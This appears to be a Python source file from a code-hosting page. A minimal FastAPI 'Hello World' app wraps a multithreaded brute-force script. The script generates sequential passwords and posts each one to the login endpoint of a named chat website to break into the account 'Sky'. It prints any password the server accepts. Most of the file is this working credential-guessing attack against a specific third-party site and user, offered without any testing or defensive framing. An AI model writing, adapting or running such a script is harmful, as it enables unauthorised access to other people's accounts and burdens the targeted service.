File size: 1,839 Bytes
0c24b98
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from fastapi import FastAPI

app = FastAPI()
import requests 
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

def send_login(username, number_of_attempts):
    charset = 'abcdefghijklmnoprstuvwy1234567890@,.'
    # Function to send login request
    def send_request(upass):
        response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={
            'password': upass,
            'username': username
        })
        if response.text in ['1', '2']:
            return None
        elif response.text == '3':
            print(f"Successful login with password: {upass}")
            return upass

    # Function to generate the next word in the sequence
    def next_word(current):
        i = len(current) - 1
        while i >= 0:
            next_char_index = charset.find(current[i]) + 1
            if next_char_index < len(charset):
                current = current[:i] + charset[next_char_index] + current[i + 1:]
                return current
            else:
                current = current[:i] + charset[0] + current[i + 1:]
                i -= 1
        return charset[0] + current

    # Start password
    password = charset[0]
    passwords = [password]

    for _ in range(number_of_attempts - 1):
        password = next_word(password)
        passwords.append(password)

    with ThreadPoolExecutor(max_workers=64) as executor:
        future_to_password = {executor.submit(send_request, pw): pw for pw in passwords}

    print(password)
    print(passwords)
start = time.time()

# Example usage
username = 'Sky'  # Replace with actual username
number_of_attempts = 9999  # Set the number of password attempts
send_login(username, number_of_attempts)
end = time.time()
print(end - start)

@app.get("/")
def greet_json():
    return {"Hello": "World!"}